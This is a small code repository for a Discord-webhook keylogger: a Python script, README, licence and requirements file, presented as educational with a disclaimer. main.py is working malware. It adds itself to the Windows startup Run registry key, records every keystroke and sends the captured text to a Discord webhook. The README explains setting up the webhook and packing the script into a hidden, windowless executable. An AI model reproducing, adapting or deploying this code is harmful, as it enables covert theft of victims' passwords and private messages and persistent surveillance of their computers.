├── LICENSE ├── README.md ├── main.py └── requirements.txt /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Mateusz Gołembowski 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # simple-dcwebhook-keylogger 2 | 3 | Simple Discord Webhook keylogger written clearly in under 35 lines of code. To show you how easy this is. 4 | 5 | ## Disclaimer 6 | 7 | > Information and code provided on this repository are for educational purposes only. The creator is no way responsible for any direct or indirect damage caused due to the misusage of the information. Everything you do, you are doing at your own risk and responsibility. 8 | 9 | ### Creating your own Discord Webhook 10 | 11 | Create a Discord Server or use one that already exists. 12 | Go to the `Server Settings`, then `Integrations`. 13 | Click on `Create Webhook`, name it and select desired channel. 14 | Click on `Copy Webhook URL` and paste it in code. 15 | You are good to go. 16 | 17 | ## Configuration 18 | 19 | ```python 20 | webhook_url = '#' # Paste here your Webhook URL (instructions in README.md) 21 | registry_name = 'Simple Discord Webhook Keylogger' # Registry name for system startup execution 22 | ``` 23 | 24 | ## Making a windows executable 25 | 26 | Install the required modules: 27 | 28 | ```shell 29 | pip install -r requirements.txt 30 | ``` 31 | 32 | You can compile Python code into Windows executable (.exe) using PyInstaller: 33 | 34 | ```shell 35 | pyinstaller -F -w main.py 36 | ``` 37 | 38 | -F and -w flags mean that program will be packed in one file and running in background (windowless). 39 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import pynput 2 | from pynput.keyboard import Key, Listener 3 | from discord_webhook import DiscordWebhook 4 | import winreg 5 | import sys 6 | 7 | webhook_url = '#' # Paste here your Webhook URL (instructions in README.md) 8 | registry_name = 'Simple Discord Webhook Keylogger' # Registry name for system startup execution 9 | keys_buffer = '' # Create empty buffer variable *leave as it is* 10 | 11 | winreg.CreateKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run") # Create registry key for automatic program execution after system startup 12 | registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_WRITE) # Open key for entry 13 | winreg.SetValueEx(registry_key, registry_name, 0, winreg.REG_SZ, sys.argv[0]) # Creating entry 14 | winreg.CloseKey(registry_key) # Close key 15 | 16 | def send_message(message): 17 | DiscordWebhook(url=webhook_url, content=message).execute() # Send message using Webhook 18 | 19 | def on_press(key): # Executes on each key pressed 20 | global keys_buffer 21 | if str(key)[:4] == 'Key.': # Check if pressed key is not number, letter or character 22 | key = ' `[' + str(key) + ']`' 23 | else: 24 | key = str(key)[1] 25 | if len(keys_buffer) + len(key) >= 1975 or key == ' `[Key.enter]`': # Check if keys_buffer exceeds Discord's 2000 characters per message limit or ENTER is pressed 26 | send_message(keys_buffer + key) # Send logged keys on Discord channel 27 | keys_buffer = '' # Reset keys_buffer to log new key presses 28 | else: 29 | keys_buffer += key # Concatenate new logged key presses to make it look simpler 30 | 31 | with Listener(on_press=on_press) as listener: 32 | listener.join() # Start the listener -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pynput 2 | discord-webhook 3 | pyinstaller 4 | --------------------------------------------------------------------------------